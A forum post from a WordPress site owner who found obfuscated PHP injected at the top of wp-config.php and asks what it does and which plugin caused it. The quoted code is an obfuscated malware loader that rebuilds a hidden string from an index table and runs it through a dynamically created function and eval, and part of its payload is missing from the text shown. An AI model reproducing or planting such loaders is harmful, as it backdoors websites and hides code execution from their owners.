Strange hashed code appeared at the top of wp-config.php

Hi everybody,

just found this in one of my websites’ wp-config.php file:

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4033,51,4703,23,5170,69,1488,68,9195,67,5566,59,2864,33,7061,32,2295,20,2897,56,6538,40,2803,20,9392,45,3366,55,377,37,1293,64,7534,69,9111,48,9708,28,8609,58,6488,50,3133,30,1767,36,3273,41,7654,26,4671,32,3569,35,2007,70,7908,60,7093,41,8507,44,1357,27,854,49,1593,30,6359,65,6278,36,4563,56,10049,57,1043,58,6681,59,5376,55,618,46,2770,33,3163,50,3894,69,6000,39,8327,55,1452,36,8962,22,2245,50,903,50,310,67,7192,26,4120,28,543,29,9286,28,3737,31,7403,60,5317,39,9947,60,1803,36,2669,32,180,65,4212,53,6899,67,5239,47,9508,32,8382,59,6078,55,7848,60,9816,37,3213,38,9159,36,9353,39,2350,30,7305,30,8070,44,6804,56,4780,69,6740,64,1726,41,1384,68,9540,40,4084,36,31,50,4619,52,7968,54,825,29,1101,57,3251,22,3994,39,1158,40,8917,45,1017,26,2315,35,4265,42,2953,63,9894,53,7742,43,4963,64,5873,46,2607,62,953,20,5286,31,3604,24,4184,28,1839,35,8796,53,8282,45,160,20,2077,28,7603,51,5498,68,1198,57,4148,36,6222,56,2152,55,5431,23,3513,56,7134,58,487,56,3086,47,102,58,3421,30,8760,36,9437,45,5662,69,3451,62,3836,29,9044,
67,1982,25,9782,34,8551,58,8441,66,81,21,2562,45,6178,44,4849,62,3693,44,9736,46,8049,21,6578,33,2105,47,7017,44,732,44,3314,52,7254,51,4911,52,6314,45,4515,48,9482,26,5356,20,5454,44,9022,22,6860,39,9607,69,2823,41,8667,53,1874,56,9314,39,6424,64,3628,65,8720,40,2207,38,776,49,3963,31,8984,38,5067,66,5133,37,9580,27,1556,37,4446,69,7463,36,4307,67,6966,51,6611,70,1623,49,7218,36,1930,52,8849,68,664,68,7335,68,4399,47,9853,41,9676,32,8243,39,6039,39,2701,69,245,65,8022,27,5731,20,572,46,5751,55,2443,64,7499,35,3016,70,5625,37,1672,54,5972,28,2380,63,6133,45,10007,42,7680,62,8175,68,4374,25,464,23,5806,67,9262,24,3768,68,2507,55,7785,63,5046,21,4726,54,973,44,3865,29,414,50,0,31,5919,53,1255,38,5027,19'); $ibygchgong=substr($gxsjhyubll,(39517-29411),(46-39)); if (!function_exists('gqbyoekjjz')) { function gqbyoekjjz($feenpidyfw, $tguqwneqvp) { $hahmpqnlpy = NULL; for($zmevvewhln=0;$zmevvewhln<(sizeof($feenpidyfw)/2);$zmevvewhln++) { $hahmpqnlpy .= substr($tguqwneqvp, $feenpidyfw[($zmevvewhln*2)],$feenpidyfw[(
$zmevvewhln*2)+1]); } return $hahmpqnlpy; };} $nzadzeoved="\x20\57\x2a\40\x67\160\x63\167\x74\150\x6b\160\x62\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x31\55\x38\64\x29\51\x2c\40\x63\150\x72\50\x28\62\x37\71\x2d\61\x38\67\x29\51\x2c\40\x67\161\x62\171\x6f\145\x6b\152\x6a\172\x28\44\x68\146\x78\157\x76\153\x70\160\x7a\147\x2c\44\x67\170\x73\152\x68\171\x75\142\x6c\154\x29\51\x29\73\x20\57\x2a\40\x74\170\x67\147\x66\150\x6d\143\x71\161\x20\52\x2f\40"; $vvahuriozm=substr($gxsjhyubll,(54985-44872),(73-61)); $vvahuriozm($ibygchgong, $nzadzeoved, NULL); $vvahuriozm=$nzadzeoved; $vvahuriozm=(599-478); $gxsjhyubll=$vvahuriozm-1; ?>

Does anybody know what plugin or whatever caused this and what the code does actualy?

Thank you

Chris.